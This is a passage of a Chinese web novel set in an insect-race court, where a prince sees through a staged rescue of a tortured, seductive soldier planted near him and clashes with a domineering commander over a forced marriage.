这里是维斯特冕王爵府! “来——”人。 没有等雪因喊出来,本该濒死失去力量的雌虫却瞬间冲上来,与雪因缠斗在一起。雪因想也不想迅速甩出尾钩,朝对方狠狠刺去。 雌虫即使再强,也是重伤状态。 他半压在雪因身上,紫眸带着破碎,深可见骨的伤横穿脸部,带血的手紧紧抓住雪因的尾钩——慢了。 身为顶级雄虫的尾钩第一次真正展现了它应有的威力。平时温顺的鳞片此刻如倒刺般竖起,深深扎进对方腹部。雌虫怔怔地望着贯穿身体的尾钩,鲜血顺着钩身一滴一滴落在雪因衣襟上。 却也似挽救了雌虫,洞穿腹部的终究是蕴含着雄虫治愈信息素的尾钩,暂时吊住了他被其他刑具造成的致命伤。 命悬一线间,他大口喘息着,目光涣散地压在雪因身上。 雪因的银发散乱铺洒在地。 雌虫这个状态显然已经造不成威胁,雪因没有继续攻击,开始观察着雌虫。 他和诺伊斯甚至有八分像,紫罗兰色的眼眸,瞳孔中凝结着精神力形成的花,嚣张的红发,要不是刚刚缠斗间被尾钩倒刺刮在脸上划出深可见骨的伤痕,也该是张艳丽魅惑的长相。 王爵府的位置并不在主城区,能精准找到他的位置设计闯入的能是什么好虫?背后究竟是谁在指使?想做什么? 雪因虽然有一瞬间心软,还是一脚将雌虫从身上踹开。尾钩随之抽出雌虫身体,倒刺带出大量血肉,在空中划出一道血淋淋的线。 站稳,雪因缓步走到雌虫面前,脚踩上对方喉间,碾上,感受到脚下传来雌虫加重的喘息,惹雪因一颤,下意识放松了些。 但没有移开,矜贵地俯视着脚下的雌虫。飞溅的鲜血染红了他精致的面容,平添几分凌厉。 在克斯安蒂星上过的课程每一次都在强调,对雄虫来说,特别是对他们这些位高权重的雄虫来说,世上远没有那么多‘巧合’。 一只重伤到毫无反抗能力的雌虫,如何能突破层层守卫、越过重重屏障,精准地出现在他面前?更不用说这与诺伊斯极其相似的红发紫眸与身形,而且等级显然不低。 承受着如此沉重的刑具,重伤到这种程度,刚刚雪因想叫人的时候居然还有余力反抗……SS级。 雪因下了判断。 王爵府戒备森严,绝不可能放任陌生虫族闯入。而事发到现在已过去十几分钟,平日紧张万分的侍从却迟迟没有赶来。是谁派来的?墨尔庇斯?还是刚刚离开的塞西尔…背后的大哥? “说。”雪因脚下加重力道,迫使雌虫再次颤抖。 身上的电流顺着深入脊背锁链蔓延,甚至让雌虫差点控制不住下身泛起水渍。 雪因能感受到不只是体表的刑具,甚至在内…紧紧锁死控制着他,让他在露不出一丝难堪的痕迹,只能独自一人承受着逆流的一次次冲击。 雌虫双眼空洞无神,唾液不受控制地从嘴角溢出。看到雪因怔住的神情,他眼中硬生生燃起一丝生机:“救…救我。求您。” 他大口喘息着,说话声音带着鲜血反灌入喉咙的哽咽。 “我是…西蒙家族四子…咳咳…我雄父逼我嫁…为雌侍,我不愿意,他们就要处死我,作为…反抗规则的代价。我逃…咳咳咳咳…”他剧烈地咳嗽着,鲜血从嘴角不断涌出。 大量鲜血不受控制地从他喉间涌出,像是生机随着血液一同流逝。眼睛逐渐失去光芒。 雪因一顿,他当然知道,雄虫反抗‘规则’最多被抹去记忆,重新塑造成天真顺从的模样。 但反抗‘规则’的雌虫…时不时会有些不愿意,但家世却没有强大到能反抗制度的存在,家族内部意见不一的,往往会牺牲他们,向社会宣判,这就是挑战规则的代价。 那个雄虫他也听说过,确实是个残暴的性格。 而西蒙家族四子。 之前也是雄虫间的谈资。据说他是雌父在外征战时诞下的子嗣,后来他雌父战死沙场,连带着他这颗蛋一同流落E级矿星。 作为黑户的存在,自破壳起独自一人摸打滚爬在黑星挣扎求生,直到一年前不知用了什么手段,竟考上了霍格斯军校。上次老师提问时雪因还揣测过,是不是暗处安插的棋子。 谁也没有想过,他居然还真是流落在外的天才。可惜等他回到帝星恢复身份,处境反而比平民更糟。 他的雄父早已另娶雌君,生下新的子嗣;年长的兄长们各自成家,雌虫间亲情淡薄,对他不闻不问;而雄父的新雌君,自然对前雌君留下的、还要分走家族财产的突然冒出的雌虫心怀不满,于是将他送给以残暴闻名的有权势雄虫玩弄。 不少雄虫确实偏爱这类雌虫,无他,作为雌侍可以随意凌辱,而且等级够高,怎么折磨都死不了。 而他不愿服从,作为SS级雌虫,确实可能拥有特殊异能,能避开王爵府的守卫来到雪因面前似乎也很合理。 合理吗? “放肆!维斯特冕王爵府岂容你们擅闯!”隔着围墙,雪因听到另一面传来侍虫的呵斥声,他转头望去。 “抱歉,我们追捕一只危险的逃犯…担心伤到殿下。” “府内自有安保措施,我们会自行排查。” “……是。” 真的合理吗? 雪因再次低头凝视着奄奄一息的雌虫,整片地面已被他的鲜血染红,雪因甚至能晰感知到,不出五分钟,这只雌虫就会彻底断气。 死在这里。 “救救我。”雌虫目光空洞,那双与诺伊斯如出一辙的紫眸正在失去光彩。他无意识地喃喃着,手指颤抖徒劳地抓挠地面,企图找回一丝熟悉的力量。 算了,就当是看在这双眼睛的份上。 雪因释放出精神力。雌虫身上的刑具对雄虫有着最高权限认证,牢牢锁死在脊骨上的锁链应声断裂,甚至连对方体内的刑具也随着水渍一同流出,慢慢化作尘埃消散。 唯独留下了对方脖颈间,能对雌虫再次造成致命伤的雌奴项圈。 陌生的雌虫、来路不明的雌虫。雪因并不打算彻底解开他身上的束缚。 况且得到的信息实在太少。潜意识里总感觉哪里不对劲,对一只SS级雌虫来说,做到这个程度,已经足够让他活下来。 果然,随着禁锢的解除,流出的血液倒流回雌虫体内,他身上的伤口以肉眼可见的速度开始愈合。 雪因松开脚。 雌虫重重咳出一口淤血,抬手抹去唇边的血迹,爬起、扑倒跪伏在雪因面前。 “谢谢殿下。” “谢什么?你不是故意撞上来的么?”雪因刻意模仿着墨尔庇斯那种冷淡的语调试探道,“要谢就谢你自己的求生欲。” “……”果然雌虫一顿,没有反驳。 他再次抬起脸,脸上的伤已经完全愈合,恢复了艳丽、漂亮到极具攻击性的容貌。 虽然雪因感觉不出,反正没有诺伊斯漂亮。 雌虫面色泛起不自然的潮红,面色恰到好处露出一丝感动和羞涩,身子又微微颤抖起来,伸手轻轻褪去残破的衣衫:“殿下救命之恩无以为报,我愿…” 对另一个S级雄虫宁死不屈,宁愿赴死也不动摇,却对雪因表现得如此死心塌地。换作任何雄虫都会心动,毕竟这确实不像是演戏。如果刚才雪因没有解除他身上的禁锢,他是真的会死。 没有雌虫会真的拿命来设计雄虫。 …… 没有雌虫会真的拿命来设计雄虫吗? 不对,太不对劲了。这到底是在做什么?太多的巧合了,是想再一次复刻诺伊斯的路线吗? 诺伊斯身份太低做不了他雌侍,所以就安排另一个身份等级更高的来接近他?甚至十分用心,就连性格模样都找了最接近的,同样悲惨的身世。 什么都是可以替代的,什么都是可以取代的,包括他的爱。 他们把诺伊斯当什么了?把他当什么了?把感情当什么了? 那么下一步呢?是不是该说中了药,必须要得到信息素才能活命? 雪因快忍不住气笑了。 雌虫的到来合理,却处处透着不合理。他更愿意相信自己的直觉,而不是表面的‘合理’。 果然,雌虫开口道:“殿下,雄虫协会给我下了药,如果今天得不到信息素,我就…”他紫眸中盈满破碎的光,似乎绝望地看向雪因。 就连演技都无可挑剔。 “但我决不能因为这个羞辱到殿下。”出乎意料的是,雌虫没有继续背诵那套烂熟于心的台词。在与雪因对视的瞬间,他忽然改口,站起身毫不犹豫地朝湖中跃去。“我…我会自己处理。” 刺骨的湖水瞬间淹没他的身体,连带着潮红在冰冷的刺激一激灵迅速褪去。 雪因缓步走到湖边,望着那个在湖中央被冻得脸色惨白的身影。像是放弃了所有刻意的引诱,用最原始真挚的模样,在冰冷的湖水中不住颤抖,嘴唇发白,目光倔强却充满生命力,专注地望向雪因,仿佛雪因是他唯一的救赎。 …… 呵。 第60章 同样的紫眸,仿佛映…… 同样的紫眸,仿佛映照着同一个灵魂,但谁都知道那不是同一个人。 但所有人又觉得都一样,默许着这样的替代。 因为之前的那个‘不够好’,所以就能用更好的来替换升级。于是不可能变成了可能,不允许变成了默许。 湖中的雌虫缓缓站起身,对雌虫来说冰冷刺骨的湖水打湿了他的衣衫,未愈的伤口在周围晕开淡红的血痕。他只是站在那里,专注地望着雪因。 孤注一掷。 …… 好像谁都没有错。雌虫选择雪因,是为自己谋一条更好的生路——毕竟雪因以温和闻名,身边雌侍稀少,且地位尊贵。 雪因也没有错,他只是想要一个相爱的伴侣,一群可爱的虫崽而已。 大家也没有错,只是想要王爵高贵的血脉能顺利传承下去。 不。 不一样的。 或许虫与虫之间相遇的时机和运气就是这么重要,有些位置一旦被谁占据了,就再也容不下第二个。 从来没有什么‘差不多’或‘更好’,就能轻易替换。 “你走吧。我会当做没看到。”雪因说出这句话时,自己先怔住了。 这场景如此熟悉——就像那夜诺伊斯跪在他面前,紫眸雾气氤氲,专注地凝望着他,嘴角洇着情动的红,带着怎么也驱不散炽热的渴望。 当时雪因也说过同样的话。 ——你走吧,我会当做没看到。 而诺伊斯是怎么回答的? 他没有辩解,没有哀求,反而握住了雪因想要抽回的手,贴在自己心口。那里跳动得又快又重,鲜活的热度通过掌心传来。 ——看到了,你看到我了。我也看到你了。雪因。 什么是真实?什么是虚假?或许他一直活在所有虫共同编织的美梦里。 可诺伊斯掌心的温度是真实的,紧拥时传来的心跳是真实的,滚烫的眼泪也是真实的。 他离不开我,我是他的唯一。 ——我离不开你,你是我的唯一。 那如果…… 如果有另一个更完美、更符合期待的‘雪因’,他会被取代吗? …… 会。 当然会。 墨尔庇斯选择他是因为别无选择,而且墨尔庇斯从来都不喜欢他,只是迫于身份不得不抚养他。 就连现在逼他恨他也是这样,只不过是觉得重新培养一个‘合格’的雄主麻烦,虽然自己性格达不到让他满意,但他还是勉为其难忍下了他。 所以才一边‘爱’他,一边蔑视他。 从一开始就没有解决的问题,才会导致之后一直争执不休。 他是王爵,只因为这个位置需要一个虫。这个位置可以是任何虫。 没了他,还有诺厄,还有很多很多其他符合条件的雄虫。 他会被取代吗? 诺伊斯的脸在泪光中显得有些模糊,唯有那双紫眸亮得惊人,额头轻轻抵住雪因的额头。 ——唔,要是…要是…我就可以理直气壮地站在你身边,换我来保护你。 诺伊斯是真实的。既然分不清这世间的虚虚实实,那他宁愿选择相信自己掌心触摸到的温度,相信那双只倒映着自己身影的眼睛。 但诺伊斯爱上的那个雪因,只有一个。 湖边的风突然变得很轻,拂过水面时,连涟漪都显得小心翼翼。雪因看着水中雌虫那双与记忆极其相似的紫眸。 “回去告诉你背后的主使,”他转身,声音平静无波,“你失败了。” 他没有再回头去看雌虫欲言又止的神情,径直踏上蜿蜒的廊桥。 天色不知何时沉了下来,铅灰色的云霭低垂,细细的雨丝开始飘落,起初只是若有若无的几点,很快便连成了朦胧的雨幕。 微风卷着湿润的水汽,穿过廊柱,将细碎的雨点斜斜送入廊内,轻吻着雪因的衣摆和脸颊。 他停下脚步,望着眼前这道仿佛没有尽头的廊桥。 两侧湖面被雨滴击打出无数细密的圆纹,连绵不断地漾开、交织、消散。远处精心修剪的园林在雨雾中显得格外蓊郁,却又透着与他无关的寂静。 繁华煊赫的王爵府,绿意葱茏,雕梁画栋,却像一幅精美的画,将他隔绝在外。 或许这里从来都不是他的家,只是墨尔庇斯的,所有人都默认,只有军团长能主宰这里的一切,包括他。 雪因忽然不想再往前走了。 于是放下平日里端着的矜贵姿态,像小时候那样,背靠着冰凉的红漆廊柱,缓缓滑坐在地。双手环抱住屈起的膝盖,将下巴轻轻搁在膝头,目光投向廊外。 细雨如丝,斜斜地织入湖面,激起一圈圈细小而执着的涟漪,仿佛无数个未竟的梦境在水面轻轻破碎。廊檐垂下的紫藤花穗在风中微颤,滴落的水珠敲在青石板上,发出轻响。 或许身边应该有另一个人。 诺伊斯,还有他们尚未谋面的虫崽。一家三口,挤在一个或许不大却温暖的家里。富贵时,他供养着他们,贫穷时,他们也能彼此依偎。 雪因不自觉地缩了缩脖子,他不知在这里待了多久,细雨打湿了他银白的发梢和肩头的衣衫,又被衣料内里恒温自洁的功能悄无声息地蒸干,只留下一点点微凉的触感,像是不曾落在他身上。 但有些冷了。 想诺伊斯了。 思念如此具体,像廊外无休止的雨丝,细细密密,笼罩了天地,也浸透了他。 不远处,高大的身影静立在愈渐滂沱的雨中,沉默地注视着桥廊上那蜷缩成小小一团的身影。 雪因仍保持着幼时的习惯,将自己缩起来,呆呆地望着雨幕,偶尔伸出手,似乎想接住那些永远落不到他身上的雨滴。 墨尔庇斯悄无声息地释放出精神力,在雪因周身织就屏障,精准地控制着那片区域的雨势,让它显得温柔细碎,与周围倾盆的暴雨格格不入。 而他却没有为自己展开任何防护,任由冰冷的雨水当头浇下,浸透军装,顺着凌厉的脸部轮廓滑落,模糊了视线。 雪因这次没有哭。 哭了也没用。 抚育虫死了,没有虫再会把他抱回卧室。 “军团长,您不过去陪陪殿下么?”声音自墨尔庇斯身后响起,“这是一个好机会,殿下现在心里正乱着,无论您说点什么都容易听得进…多少能在殿下心里留下些什么。” 紫眸雌虫阿诺德站在他身后,同样立在雨中,目光却投向廊桥那个孤寂的身影。 小雪团子看起来可怜极了,带着一种与世隔绝的自娱自乐,固执地伸手去接那些被精神力隔开的雨滴。 墨尔庇斯有那么一瞬的出神。 “不必。”他的声音穿过雨声,显得有些冷硬,“他得学会习惯孤独。” “这对殿下而言,是否太过残忍了?” “噢?”墨尔庇斯并未回头,语调平淡,“阿诺德,你心疼了?” 阿诺德应声跪下,却并未否认。这个几小时前还重伤濒死、在冰湖中浸泡许久的雌虫,此刻身上竟不见半分狼狈。他仰起脸,紫眸含水,睫毛微微上翘,毫不掩饰其中的野心:“军团长,殿下是这世间最美好的雄子,没有雌虫能不对他心动。” “……” 墨尔庇斯反常地并未动怒,他的目光依旧牢牢锁在远处那个小小的身影上,像是要将他刻入眼底: “他要清醒地知道,他活在怎样一个世界上。” “您是想让殿下也体会您感受过的痛苦么?”阿诺德眨了眨眼,试探道,“那可太坏了,殿下只是雄虫而已,可不需要整雌虫这一套。” 见墨尔庇斯沉默,他适时地继续道:“您要是不介意,我可以上前。我之所以被选拔上来,不就是为您、为保护殿下而来的么?” “……” “你是个聪明的虫。”墨尔庇斯终于缓缓开口,声音低沉,“但别把你的心思,用在雪因身上。” 阿诺德赶在墨尔庇斯威压降临前深深俯首,额头重重撞上被雨水浸湿的地面,力道大到晕染出血迹顺着额头流下,在艳丽的脸上平添一抹绝色:“我明白您的意思。但请您相信,我所说的每一句,都发自肺腑。” 他停顿片刻,郑重承诺道:“往后您不在的日子,我会替您守护好殿下。” 说罢,他识趣地不再多言,恭敬行礼:“属下告退。” 雨幕中,又只剩下墨尔庇斯独自伫立,隔着喧嚣的雨守望着廊桥那头,他孤独的小雄子。 雪因也不知那样望了多久。好似到最后困意上头,倚着廊柱睡了过去。不出意外,醒来还是在原处。 但身上却不觉寒意。 站起身,活动了一下有些僵痛的四肢,这才沿着湿润的小径,一步步朝卧室走去。 雨已经停了。雨后的夜空被洗涤得格外澄澈,星星璀璨,明晃晃地缀在夜幕上。星光折射在花园草木的雨珠上,每一颗水珠都像一只含着银河的眼睛,湿漉漉地闪烁着生机。 他世界的雨,植物的生机。 水珠快活地映照着星光,浑然不知自己被虫族赋予了各种复杂的情感和意义。 或许雨本就只是雨。 雪因踩着小径上的浅草朝卧室走去,草叶拂过衣摆,却不沾湿露。 少了侍从的王爵府显得空荡寂寥,却又仿佛将这片天地还给了原本就该栖息于此的生命。不知名的夏虫正欢快吟唱,萤火虫拖着莹绿光尾,划出一道道悠长的弧线。 却未能留住雪因前行的脚步。 雪因在餐桌坐下。 长长的餐桌铺着雪白的桌布,上面摆满了恒温保持的珍馐美味,四周座位却空荡荡,只有尊贵的王爵殿下端坐主位。 或许是下午淋了雨,又或许是睡了一觉意识还有些朦胧没有反应过来,雪因下意识等了几分钟。 抚育虫没有拿着他专用的餐具笑盈盈从侧厅走出来。就连洛伽南这段时间也不见踪迹。 雪因有一瞬间的恍惚,好似已经过去很久很久了。 幸运的是,虫族生命漫长,几个月、甚至几年,在漫长的生命中算不上什么。 不幸的是,虫族生命漫长,于是痛苦与孤独,就被拉得又细又长,绵延不绝,挥之不去。 雪因拿起手边的银叉,有些随意地插进面前点缀着鲜红浆果的奶油蛋糕。饱满的浆果瞬间破裂,深红的汁液迸溅出来,将上边雪白的奶油染上血色。 “吱呀——” 餐厅尽头那扇厚重的雕花木门被推开。 雪因缓缓抬眼。 墨尔庇斯高大的身影走了进来,身上似乎有些潮气。雪因只看了一眼,便迅速垂下眼帘,雪白睫毛轻颤,躲开他的视线。 对方也没有作声,只是沉默地在他下首的位置落座,拿起了餐具—— 作者有话说:天塌下来有老墨的嘴顶着《 》 60-70 第61章 餐厅只余两位主虫细…… 餐厅只余两位主虫细微的餐具碰撞声。 雪因不自觉地握紧了手中的银叉。上一次这样和墨尔庇斯同桌用餐,还是半年前对方刚回到帝星的时候。他身边有洛伽南,墨尔庇斯身边有斯卡尔。 都已经过去快半年了。雪因微微晃神。 没想到已经过了这么久,但短短的几个月,两人共处一室的时间,反倒比过去的二十年加起来还要长。可笑的是,时间并没有缓和他们的关系,两人依旧沉默。 没胃口,他其实一口都咽不下,但墨尔庇斯没放刀叉,他就不敢先停。还是不紧不慢地用银叉刺穿了蛋糕上那颗饱满的浆果,却没有再送入口中。 雪因怕了,怕这个阴晴不定的雌虫下一秒又会发疯。 他的虫崽,他认下的‘弟弟’,都还那么脆弱。不能再出任何意外。 “没胃口?”墨尔庇斯的声音响起,听不出什么情绪。 “……不是很饿。” 雪因目光却不由自主地落向墨尔庇斯依旧平坦的腹部。 说起来,虫崽已经四个月大了,可墨尔庇斯的身形却几乎没有变化,完全看不出一丝怀孕的痕迹。若不是每日投喂时那缕微弱的精神力总会怯怯地缠上来,依恋地蹭着他的信息素,他都要怀疑这一切是不是真的。 “是不饿,”墨尔庇斯慢条斯理地放下银刀,碰撞出清脆的一声,“还是对着我,实在吃不下?” “……” 没等雪因回应,墨尔庇斯示意,他身后出现了下午那位紫眸雌虫。 雪因看见他,微微一怔。 雌虫已经换上了一身普通侍从服饰,双手稳稳托着托盘,上面放着一杯温热的星兽奶。平稳地走到餐桌旁。 墨尔庇斯根本没有打算解释这个雌虫的来历,甚至没有多看那雌虫一眼。 雪因却心下一沉,果然这个雌虫的出现和墨尔庇斯脱不了干系。 “殿下,”雌虫恭敬地弯腰,单膝跪在了雪因身侧,将银托盘举至齐眉。眼眸微动充满敬畏看向墨尔庇斯,“是军团长救了我,我、我无处可去,恳求军团长的庇护,我、我会加入第一军团,用这条命去战场上挣功勋,以报答——” 他停顿,转头看向雪因,眼睛亮晶晶充满感激,“您的救命之恩。” 演技精湛,情感饱满,连眼眶泛红的程度都控制得无可挑剔。 可惜,他的军团长似乎并不打算配合这场戏。墨尔庇斯甚至懒得掩饰眼中的讥诮。 而雪因也沉默着,没有接话,没有示意他起身,没有给他递上任何台阶。 阿诺德就这样稳稳地跪在原地,双手托举的姿势纹丝不动,脸上不见半分窘迫。甚至唇角勾起笑意,紫眸微眯,专注地用精神力维系着杯中奶液的温度,耐心等待着。 时间一分一秒过去。 直到墨尔庇斯终于缓缓开口:“听见了吗,阿诺德?”他看向跪着的雌虫,话却是说给雪因听的,“你的‘救命之恩’,我们尊贵的殿下,好像并不打算领情。” 阿诺德依旧跪得笔直,眼里充满真挚与忠诚:“殿下如何对待我,都是应当的。是我的荣幸。” …… 墨尔庇斯没再分给他半点目光。 转而看向雪因,下巴朝那杯星兽奶微微一扬:“尝尝。” 于是阿诺德闻声而起,动作流畅地将托盘递至雪因面前。手指刻意放缓了动作,在杯沿似有若无地轻轻拂过。借着身形的遮挡,他背对墨尔庇斯,紫眸中漾开一抹蛊惑,朝雪因眨了下眼,这才恭敬地行礼退下。 雪因感觉周身气压似乎低沉了些。 他望向墨尔庇斯,对方脸上依旧没什么表情,只是目光沉沉地落在那杯星兽奶上。 引着雪因也看了过去。温热的奶液在杯中微微晃荡,传来阵阵甜香。自从被困府中,洛伽南也不见后,就再没有谁每日为他精心打点这些了。 “洛伽南呢?”雪因还是问了。 “怎么,盼着他救你出去?” “……”雪因微微皱眉,还是控制好情绪开口:“他服侍我这么久,我关心他的去处自然是理所当然的。” “尊贵的王爵,不需要费心去‘关心’任何人。” “……” 雪因没有回答,只是握紧了手中的银叉。但却感到一股小小的精神力悄悄探头,带着讨好与安慰意味抚了抚他。 是虫崽! 雪因微微愣神,视线不由自主地投向墨尔庇斯依旧平坦的腹部。 墨尔庇斯却瞬间察觉,眼中寒光一闪,虫崽微弱的精神力猛地被掐灭,雪因甚至能听到幼崽痛呼,随即被强大冷酷精神力彻底封锁,回归寂静。 “……”雪因的心揪紧了,拳头紧紧握起,却无能为力。 墨尔庇斯还在等,等他犯错,等一个能再次名正言顺“教训”他、加深控制的机会。 而他只能竭力维持乖顺。这样墨尔庇斯的心情或许会好些,才有可能从透露出有用的信息。 果然。 “洛伽南回去管理克斯安蒂星了。”墨尔庇斯放下刀叉,好整以暇地擦了擦嘴角,似乎很满意雪因乖巧。 “他不是雌虫么?”这下雪因有些诧异了,他差点想问出老师是不是真的失踪了?是墨尔庇斯下的手么? 但他不能,他不知道兰斯寄来的信被墨尔庇斯看过多少。不管怎样,他在墨尔庇斯面前都要显得‘不知情’。不然就连这唯一的联系外界的通道,说不定哪天碍了墨尔庇斯的眼,便被无情斩断。 雌虫按理绝不能掌管克斯安蒂星,除非… “你猜猜,”墨尔庇斯心情颇好,亲自用指尖将那杯星兽奶又往雪因面前推近了些,示意,“是因为什么?” 雪因顿了一下,他太需要外界的消息了。还是伸出手,接过了那杯温度适中的星兽奶,依言送到唇边,轻轻抿了一口。温润甜香的液体滑入喉间,他抬起眼,安静地回望墨尔庇斯,等待下文。 墨尔庇斯满意勾了勾嘴角。或许这才是他期望中的小雄子该有的模样——安静,顺从,在他允许的范围内,接受他给予的一切,不多问,不反抗。 “猜猜看,服从于克斯安蒂星的雌虫,是怎么来的?” “……” “我不知道。”雪因坦诚,示弱。 墨尔庇斯没有解释那个问题,而是抛出了一个更让雪因意外的答案:“洛伽南是莫里亚斯的雌子。” 或许是雪因眼睛骤然放大,显得有些呆傻的模样取悦了他,墨尔庇斯继续说道:“让他回去,不过是拿回本就属于他的东西,攒点够看的身份,将来才勉强配得上做你的雌侍。” “我不要雌侍。”雪因还没有从洛伽南与莫里亚斯的关系反应过来,但还是下意识立刻反驳。 墨尔庇斯像是没听见,自顾自地规划着,“下个月,在我继任元帅之后,我们成婚。同时你把另外四个也一并娶了。洛伽南背靠雄虫协会,性格温顺,适合近身照顾;斯卡尔能接手我的部分军务,在外交涉圆滑,可作臂膀;阿诺德等级不低,留在你身边保护你;菲尔斯是你雌父——” “我说了,我不要!” “他们互相制衡,也勉强够保护你。”墨尔庇斯终于抬眸看了他一眼,眼神平静无波。 “我说我不要!你听不懂吗?!”积压的情绪终于冲破理智,雪因猛地抓起手边的牛奶杯,真想将这温热的液体狠狠泼向对面那张永远冷静自持的脸! 举到半空的手还是僵住了,他深吸一口气,重重地将杯子顿回桌面,乳白的液体剧烈晃荡,溅出几滴。 他强迫自己冷静,声音激动发颤着:“你总是这样!只塞给我你觉得‘需要’的东西,你从来不会问我到底想要什么,你也根本不在乎!你只是想从‘给予’我这个行为里得到满足感,至于我接不接受,快不快乐,你根本不在意!行,好,以前那些小东西,你爱怎么给怎么给,我无所谓。但这次不行!” “你不能把我整个未来、所有关系,都像处理你的军务文件一样,盖个章就安排好!我也绝不会像你安排的那样,做你乖巧的‘徽章’。” “怎么不能了?” “你现在,不也一样得乖乖待在这府里么?难道我们现在是在‘商量’?” 他刻意加重了最后两个字,嘲讽着,“这世上,弱小的一方,从来就没有‘商量’的资格。实力才是一切。就像你现在不得不依靠我,以后也不得不学着依靠他们,制衡他们,这是你身为王爵必须掌握的游戏。” “制衡?游戏?既然无论如何都要依靠别人,那有你不就够了?至少还是一对一,简单明了!” 雪因气极反笑,开口讽刺道。 墨尔庇斯和他说这些话根本不是在和他商量,而是通知,根本没有考虑过他的想法。 但墨尔庇斯闻言却怔了一瞬。 他没有再说话,雪因也不再开口,他猛地推开椅子站起身,头也不回地离开了餐厅。 不欢而散。 —— 一周过去,墨尔庇斯反而不见身影,反而阿诺德随时随地会出现在他身边。 雪因推开房门,门口却不是空荡的走廊。 阿诺德跪在那里。几乎将身体折下去的,双膝及地。 只穿着单薄的白色丝质衬衣,领口松垮地敞着,露出线条漂亮的锁骨和一小片胸膛。红发未束,湿漉漉地披散在肩头,发梢还滴着水,仿佛刚结束沐浴。他手里托着小香炉,袅袅青烟从中升起,散发出略带甜腻、极易勾起雄虫本能躁动的气息。 “殿下。”他抬起头,紫眸在廊下昏暗的光线里像是浸了水的宝石,湿漉漉地望向雪因,声音压得又低又软,“夜寒,我为您点了安神的香。” 雪因脚步顿住,视线冰冷地扫过他刻意呈现的模样,厌烦涌了上来。 更为让他烦躁的,是阿诺德此刻的行为绝对是墨尔庇斯默认的。 “谁允许你进内廊的?谁又准你点这种香?” 阿诺德仿佛没听出雪因话里的寒意,反而微微直起些身子,让脖颈拉出漂亮的弧线。捧着香炉的手指纤细,一缕烟雾如纱般拂向雪因。 “是我擅作主张,殿下恕罪。”他嘴上请罪,眼神却大胆地流连在雪因紧抿的唇线和线条优美的下颌,声音更轻,像羽毛搔刮,“只是见殿下近日难以安眠,心中不忍…这香是我族秘方,对舒缓雄虫精神极有裨益。或许…也能让殿下暂忘烦忧。” “忘忧?”雪因忽然笑了,笑意未达眼底,蓝眸里是一片疏冷的静湖,“你觉得,我需要靠你,或是靠这点香气,才能得到安宁?” 这话里的轻蔑不言而喻,几乎是将他一并踩进了污泥里。 阿诺德僵了一瞬。 但他却没有出现预想中的难堪或惶恐。甚至没有低头,反而微微仰起脸,湿漉漉的红发黏在颈侧,紫眸依旧氤氲着水汽,添了几分看不透的幽深。望着雪因,唇角甚至还维持着浅笑。 “是阿诺德僭越了,我这点微末伎俩,自然入不了殿下的眼。只是手段或许不堪,”他声音依旧放得轻软,“但心意未必是假。” 他顿了顿,紫眸专注地凝视着雪因,“只是有时候我在想,最初靠近殿下的人,用的方式,就一定比我更光明,更‘高明’么?” “比如……我那个不争气的弟弟,诺伊斯。”—— 作者有话说:老墨听到的:%……¥%…@&……*有你就够了。 第62章 “Ae-r4778…… “Ae-r47786,”阿诺德望着雪因,唇边噙着笑,指尖似拂过湿漉漉的衣领,让松垮的布料滑得更开些,露出一截线条漂亮的锁骨。“本该是诺伊斯雌父用军功换取的虫精编号。” “但他雌父可不甘心啊…蓄意接近了另一位等级更高、家世更好的雌虫——就像当年诺伊斯攀附沃特子爵那样,也像后来诺伊斯‘巧遇’您那样。偷梁换柱,一脉相承呢,殿下。” “而我雄父年轻时…乐善好施,也曾参与过几次公益性质的虫精捐献。” “虽然,未被正式登记在家族谱系内的雌虫所诞育的虫崽,按律法算不得本家血脉。” “可惜啊,诺伊斯的雌父只是个C级,硬生生拉低了基因的上限。而诺伊斯自己运气也不够好,从怀胎到破壳,从未接受过正统的雄虫信息素滋养。否则再怎么也不至于连A级的边都摸不到。” “你想说什么?”雪因打断了他。 阿诺德小心地观察着雪因的反应——没有被忽然告知的震惊或愤怒,甚至没有多少意外,只有不悦。 他心一沉,猜错了。 维斯特冕殿下恐怕早就知道这件事。 一瞬间,阿诺德脑中念头飞转。常规的讨好、示弱、揭露他人“真面目”的路子,对这位王爵殿下显然无用。甚至可能让他觉得自己与其他费尽心思想攀附的雌虫一样。 他需要与众不同。需要一种更大胆,甚至带着点‘冒犯’的方式,像他弟弟那样,至少能让殿下记住。 于是他迅速调整了策略,带着挑衅的意味:“您既然早知道他的接近并非偶然,也并非全然纯粹,” 他微微抬起下巴,紫眸直视雪因,“为什么当初独独默许了他,留他在身边?而现在,却不肯给其他人……” 他顿了顿,指尖划过衣领将其解得更开,微微歪着头,舔了下嘴角,紫眸充满欲望,“…哪怕一丝类似的机会?” 雪因闻言,微微一怔。 说实话他也没有细想。 其实他并不十分介意旁虫带着目的接近他。 不,更准确地说,他身边的虫,几乎没有不带着目的而来的。从小到大,这在他的生活里是最自然不过的事——他身份尊贵,生来便是焦点、便是珍贵的资源。雄虫自小接受的教育,是学会看清雌虫接近你的意图,并懂得如何利用他们,使用玩弄他们。 而不是为了“对方是否带着目的而来”这件事本身,而感到难过或失望。 没什么好难过的。外在的身份、地位、所能提供的资源,本就是“雪因”这个存在的一部分。 那隐藏在目的之下的东西呢? 或许一开始只是寂寞太久,诺伊斯出现的时间刚好,于是像收到一个和心意的玩具,养在身边,看着,逗弄着。 诺伊斯要的东西不多,对他而言根本不值一提。不过是在受到不公后,来他面前小心翼翼、局促不安地‘假装无意’说起别人的坏话;或是在被其他雌虫仗着等级家世霸凌后,‘不经意’地露出伤口,被他看见后又慌慌张张地遮掩,实则让伤痕暴露得更多,眼神躲闪着说“没什么,殿下不必担心”。 雪因只是静静观察,学着墨尔庇斯的样子,淡淡扫过去一眼。心情好时,便随口对侍从提一句;心情一般时就假装看不见,饶有兴致地看着诺伊斯在一旁着急。 那时的诺伊斯会特别卖力,说好多好多雪因爱听的话,只为求一个微不足道的“公平”。 但即使诺伊斯想要的更多,雪因也自认为给得起,他名下资产对他来说只是望不到尽头的数字,不至于连一个雌虫都养不起。 后来诺伊斯变聪明了,终于发现这位尊贵的殿下其实是在‘玩’他。他会气急败坏,会小声地发点脾气,会胆大包天地将他按住,止不住地亲… 想到诺伊斯,雪因的嘴角勾起一抹笑。 或许虫与虫之间的出场顺序,就是很重要。相遇的时间、早一点或晚一点,都不会是现在的样子。 “你是个聪明虫,”雪因的目光重新落在阿诺德脸上,微微扬起头,居高临下看着他,“所以,不要做无意义的事。” 